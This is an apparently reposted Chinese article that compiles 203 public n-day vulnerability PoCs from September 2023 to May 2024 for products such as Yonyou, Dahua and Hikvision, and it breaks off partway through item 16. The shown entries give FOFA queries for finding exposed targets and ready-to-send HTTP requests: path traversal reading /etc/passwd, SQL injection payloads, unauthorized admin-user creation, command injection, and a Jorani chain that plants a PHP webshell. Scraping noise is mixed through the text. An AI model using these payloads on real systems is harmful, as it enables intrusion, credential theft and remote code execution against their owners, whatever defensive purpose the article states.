互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
* D* r/ z+ V' \$ n: @+ h道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
( n0 S* X6 R6 m3 v4 i2 J% Y8 s
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
: p; l& ~- F3 _. x5 Q# s  E  ^
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
0 b' F: j$ s  y# \; p# w9 O8 T
4 s& }' F5 W( S4 P9 B( O文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
. n1 d/ m* u! f( A& J5 p# w
( t8 n" K  ]) {/ C合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
0 u9 l+ h! \9 V4 v) R  i
0 }( u$ N2 Y2 A, b" p8 D, P/ L
) P( P! H; t4 F& N5 v声明

# v% D# l7 I- v/ V) g+ H. M! o9 U5 g为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
0 N% O/ ^# T( q/ P; e# J
) U' I4 {- d% `: B( P+ N有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
9 r- h9 u/ A. B( a
: ^: P9 e+ h" P1 L9 R5 ^7 h# q
+ i; f% Y8 g/ g4 }
- O3 q& H3 x& v3 ~& F0 ^! h; N目录

3 p" t  Z% E- c, ~+ p- n) Z01

9 g2 I+ D& [  e8 `) h" s* Z1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
4 L7 v. m, ?. |7 i6 E! d! i' f' t+ Z3. EasyCVR智能边缘网关 userlist 信息泄漏
9 y  H' L2 i8 b5 k0 y2 _1 G1 A% n( j" _4. EasyCVR视频管理平台存在任意用户添加
. g/ g& E: z: P5 {5. NUUO NVR 视频存储管理设备远程命令执行
9 y5 h/ l! U2 ]! d- _6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
1 ?3 J6 m$ I8 l/ G12. Jorani < 1.0.2 远程命令执行
% d8 M/ B2 l4 T! N+ S13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
) g6 [7 {) f0 {# l' P17. 大华 DSS itcBulletin SQL 注入
  [; R+ {6 y! y* P18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
2 M% S, [" e& |! N0 c21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
1 q/ }, C9 x9 v& S" d" s" _23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
0 O( q2 r' S, I8 ~3 V' P8 y* F24. 用友NC 6.5 accept.jsp任意文件上传
& c/ }4 h& I5 J: i2 S25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
; `" y" J0 G' d/ ~" \27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
0 {7 J7 }1 e" x; Z# u29. 用友NC down/bill SQL注入
  e( Z$ {* n4 C+ ]* C30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
- W* n3 q% ~( c+ A2 U/ m) T32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
3 `' ~; ~% G  o35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
' U8 e7 }! q- \$ Y5 K/ E38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
2 M3 F2 q( l. ^7 `0 u40. 用友U8-Cloud XChangeServlet XXE
5 c) k$ h( |7 ~4 n( l  g4 g) e41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
- N9 b9 f; d9 E6 r" y" C! T  {* Q44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
2 q! ^) M' _9 x4 H+ L47. 用友GRP A++Cloud 政府财务云 任意文件读取
6 j/ ?! l/ j4 M, m$ g48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
6 ?9 ~/ H8 K1 h! l& A50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
- b, `( {: b1 d; W# R- ~52. 泛微E-Office json_common.php sql注入
) r6 ?! Y: Z* T# d' i7 e7 X$ g7 U6 N53. 迪普 DPTech VPN Service 任意文件上传
0 H, Y2 e, z  b1 l. G2 a54. 畅捷通T+ getstorewarehousebystore 远程代码执行
( t6 X& O% @4 x, T9 f55. 畅捷通T+ getdecallusers信息泄露
* s' @! y$ ^8 p, R* d56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
7 Z( V1 V: S) d* f. V5 V59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
. A% s% l6 }- ~+ j9 A60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
6 O* X. C, c, L; e! P62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
8 D) d5 u: G5 Z- @2 ~73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
9 L1 O2 m% J+ F% J; W. B78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
7 B: G: e4 L  Y  B81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
' d5 k1 C! Y. {6 N84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
$ F+ s* R  W4 Z87. 安恒明御安全网关aaa_local_web_preview文件上传
, ^7 u7 i; z' Z  g- l88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
0 f! A, h! D# Q& o% U7 J4 ~7 L90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) E& D# \3 g& ~91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
/ m$ ^9 a+ O( `" L  o92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
0 ]: |& n0 z& u  H94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
9 h; j1 [1 l. E+ l96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
* ^& [( H9 I" {5 ~, ^/ h98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
# }# _4 ~! Q. U$ p9 ?; q100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
7 r7 k4 I6 _* A101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
  o  [- y/ _4 f, e0 ^% o104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
7 r( H& N5 i; n- f$ R4 D* M105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
/ |, ^; u- q: N0 y2 i: h( k) e107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
% }' t- Y! ?  m/ J1 m" P7 ~111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ I; b' R9 w$ O8 U$ d3 x) Q119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
  U/ y6 p2 }" Z9 C$ _) Y122. 北京百绰智能s200管理平台/importexport.php sql注入
6 y. d8 c5 a. B  K123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
9 E; a: X! I5 B' F# u3 T! T127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
2 z* H, K7 k. G! y0 N129. Adobe ColdFusion 任意文件读取
6 G! d( Q5 c9 b9 R2 ?130. Laykefu客服系统任意文件上传
* [4 z+ t! T2 x' M8 C131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
* x, @( {& D' B/ S& D2 ~  a133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
$ a. ?3 _+ y2 B2 o" T. Q% Z+ f137. 福建科立迅通信指挥调度平台down_file.php sql注入
$ w% L, w+ B& z6 [: }! ~" y# h138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
/ y% g  @% o& ]0 x6 b139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
. o4 {3 W2 f% Z% k142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
9 n2 V8 ]- _$ X! S' V9 A145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
! s! i6 ^9 S/ I148. CrushFTP 认证绕过模板注入
5 `4 {) e5 Y- J7 [' x6 n149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
1 h& d7 o( K) n$ T0 f152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
+ x. s* v3 i- k155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
, F: m- R$ x9 M3 |4 z157. 美特CRM upload.jsp 任意文件上传
$ E: [) p3 A6 E- c8 f158. Mura-CMS-processAsyncObject存在SQL注入
/ I2 a0 I& g, P4 d& v159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
9 [5 g: y! Y$ {) c161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
# n6 S( D" Z- j' g0 k162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
" }2 v, [; G) |* x. o165. OrangeHRM 3.3.3 SQL 注入
4 D; Q8 j  i2 {* E' s166. 中成科信票务管理平台SeatMapHandler SQL注入
9 D  P9 z/ P# ~6 m167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
+ X2 @  H- M/ k+ T+ k172. DT-高清车牌识别摄像机任意文件读取
. V$ B1 b2 R1 R/ y, _173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
: x  p# l7 w" c1 _4 i- X175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 R# k; i, A" |  M1 m. N% A176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
# \# l* W. x& b# k5 J# v. K178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
# I& D$ @( t% k! c5 P1 ^5 l180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
/ W9 g0 _" T; V0 b/ ]! d6 w1 \; n185. 瑞友天翼应用虚拟化系统SQL注入
" W- M1 p1 m* I' h/ w, Y186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
2 f5 I% p) ^( E/ i189. 蓝网科技临床浏览系统 deleteStudy SQL注入
0 X* ?! Z" u( k; ^5 v  f1 U% c3 G190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 H; b' P7 e( |4 E* D191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
+ `3 H* x- G3 V2 {. Q& U5 m/ ?193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
* }# i; ~9 {5 l  N# {194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# \2 X2 D' b3 g: r9 P198.  阿里云盘 WebDAV 命令注入
1 O. r2 ^7 O/ d199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
7 x4 {: L8 j* @201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

02
8 G- h- P8 \" q9 ^
% b0 N" @! B! |6 e& t1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
- O0 T" _+ c+ K: fGET /mem_tracker HTTP/1.1
Host: URL

6 {  T) V5 v7 H9 q
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
2 O% L5 O2 X" S/ r5 E0 ]. qGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
# Q) R* d3 \9 v# J  ^/ C8 [1 bHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 K+ t2 e; b/ t6 oAccept: */*
2 h9 a6 h% {8 s1 X! y' ~/ C. kAccept-Language: en
# L9 B( m4 t2 d  [$ ]* l+ BAccept-Encoding: gzip

, @* [% q) B' }3 f* Y
5 x0 r" ^" x4 M, y' N# T2 r3 {3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
* r( K' d& Q+ u  {GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

7 t4 [6 P" Q0 J5 H! a' b( [3 B+ a, z8 D
- M" n4 |6 p: r7 g4. EasyCVR视频管理平台存在任意用户添加
4 a: S- K& Y+ [2 d! w- ~  U3 {1 bFOFA ：title="EasyCVR"
) [  o8 g- O  ^9 ?3 U7 j
3 t. D  X6 ^% k% ]* f; s0 u5 `password更改为自己的密码md5
( q, r/ G5 c3 CPOST /api/v1/adduser HTTP/1.1
' X+ S2 S+ V" t# _4 |Host: your-ip
4 c' y7 C1 v9 rContent-Type: application/x-www-form-urlencoded; charset=UTF-8
* B- O  w8 B8 e2 H9 _7 ^
$ I9 }4 X) A8 H0 ]( o& ?3 lname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
5 b+ Y+ o7 N9 _  l

" L% b  V3 l& b  @! e9 v5. NUUO NVR 视频存储管理设备远程命令执行
$ F" D6 \: Z9 P6 s. z3 y: G$ UFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

' ]0 e" P6 Z2 X  |" ]! G
2 E2 w/ X! Q$ E4 V" P' P( B6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
  o0 g6 t/ s8 T- c/ Y( G9 G+ C9 aHost:
& L! E! }, Y% T0 N4 _

7. 鸿运主动安全监控云平台任意文件下载
0 ]9 D7 u4 W7 D+ G; D  I8 rFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
: m5 F2 s3 @  y0 ?- F, _
2 r& ~( ^- }: V6 x
+ k1 W, }/ x8 Q2 @9 g8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
5 k, ?+ B5 B  b8 H& {/ UHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
+ t3 n) X& ]2 J; G) C/ T5 d  X
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
2 Y' F  z" n3 p+ _: N  Y8 J
$ u0 P* m9 r8 g% ~5 L/ M4 S12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
2 m' n1 }) N0 B: v1 R" {; B
) T/ t5 j0 g7 S2 x0 Y* W%s:
: i7 S( |; ~4 h9 j  J- Q------WebKitFormBoundaryxbgjoytz
2 C. C' [, V  uContent-Disposition: form-data; name="cururl2"

/ g0 ?5 p" K! o( _1 c
+ ]. G0 y/ R; V! z- Y------WebKitFormBoundaryxbgjoytz--

- F0 ?* A6 X% a1 ?
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
+ G% H4 K- I# S' ]8 v& M$ ZHost: x.x.x.x
0 H, b+ i( A2 |5 X+ _% ~0 M
8 Z1 `3 Y8 p* R; w: b% m
. y: j5 ]$ G% y6 E! {  M! H6 vpayload为下列语句的二次Url编码
$ Y& x+ F% R6 i( a7 d
2 c$ _0 v& T3 }7 L* r5 i' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

( Z' ]" u8 _- T+ z3 U  M10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
1 M) l1 Z, w+ O- v( _+ k
文件上传后响应中包含上传文件的路径
# M& C- E6 Z; A3 @9 H& e  NPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
4 T5 }9 |; z% V  CContent-Length: 197
4 i4 I" T9 R0 A$ c5 e( WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
$ T0 E  s. G( j5 R  g# E0 m# p/ mAccept-Language: zh-CN,zh;q=0.9
5 }8 W# `" e# k) X! I0 t( bConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
0 A' d% Z) m! _
------WebKitFormBoundaryxdgaqmqu
; ^: g5 M1 K# m/ IContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
( N( h' `% T4 a; G; W# t------WebKitFormBoundaryxdgaqmqu--


1 M! D- G: s9 r4 b8 X! a11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  U  [2 a! p+ x9 P' n; y( e) `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

0 v1 n) o( P! t% L5 W2 a
- ^6 Z' G0 C9 O  Q  G: M12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
# d" v; e4 G9 h% J  x: ?+ W第一步先拿到cookie
! Q/ t- }  ?$ ]2 jGET /session/login HTTP/1.1
# C8 L9 b$ Q2 {Host: 192.168.190.30
% y  P  o# e; I/ B7 RUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
, |  X& ^0 J( u. pConnection: close
& ]: z2 E, `5 {1 X7 l3 kAccept-Encoding: gzip
4 k1 p: H* R6 |# m0 g0 q3 |3 H, Q
6 }' B, ~8 K( U" n9 a
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
; J  K- w/ C# R" GConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
9 ]3 L5 U  U+ P; l% L8 QLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
/ t% u5 f, Y5 X1 U- iPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
" h4 D) \" g2 p7 x7 X  O$ OSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
  V: `* s- m* ?6 R& HVary: Accept-Encoding
1 c% O7 e2 h3 ?0 R/ d6 K4 W

POST请求，执行函数并进行base64编码
" }- q' I9 U+ ]  |POST /session/login HTTP/1.1
5 Q2 h# w( [7 G- z) N* i+ gHost: 192.168.190.30
" v$ L# q* G' b# g- b( r; \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
- r. V: u# n: E5 V& uConnection: close
' ^" t; x" R) v3 ?0 i% NContent-Length: 252
% {) T8 r$ ^- S2 i  [3 j  JContent-Type: application/x-www-form-urlencoded
# C, Y. C# D6 Z$ O$ w  UCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

! \6 P9 u# w+ r  [6 Scsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

/ l3 N$ w9 Y5 @% f$ \% P

7 G5 [( ^. J+ Y, J' n6 b向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
, `: d( w. Z" GHost: 192.168.190.30
$ _* d# b6 L# h: TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
+ U: n* v4 P7 Z. vCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
% d( [6 i5 Q0 S6 v! U6 i  n$ PX-REQUESTED-WITH: XMLHttpRequest
4 h; N- r! F: lAccept-Encoding: gzip
* J/ _* S, T/ W* \- ]- }

13. 红帆iOffice ioFileDown任意文件读取
# L1 U) Y6 q1 q# P+ iFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
/ L7 N* h$ Y) R+ A$ O- e0 ~6 cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
; H  \! U* K( V$ M+ G
! Q* D. o" d+ ]/ i" a* n( F
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
7 w, ~) b  ]7 C7 ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
8 q- s0 n7 R' G) Y) x+ m% o2 jAccept-Language: en
Accept-Encoding: gzip
' Z  n7 L0 H& l$ n8 p

* x3 w1 l' o$ t% H9 C15. 华夏ERP getAllList信息泄露
6 ~- _# T- t$ JCVE-2024-0490
FOFA：body="jshERP-boot"
) J; z1 k1 [+ e. X( s; g泄露内容包括用户名密码
' N* ^  f, j* }* {GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
( l3 e6 M' {' w3 jAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
- b- e  C) _& S% ^sec-ch-ua-platform: Windows
Accept-Encoding: gzip
* \1 j% s- W. b" {: K9 ?; z! Q

- V3 y9 H9 `9 E1 S! P16.  红帆HFOffice医微云SQL注入
! n; B+ \  j7 g/ Y! ^FOFA：title="HFOffice"
9 l5 ~* Q. k8 P# spoc中调用函数计算1234的md5值
) v5 u0 T, {  D2 `6 D+ `1 AGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
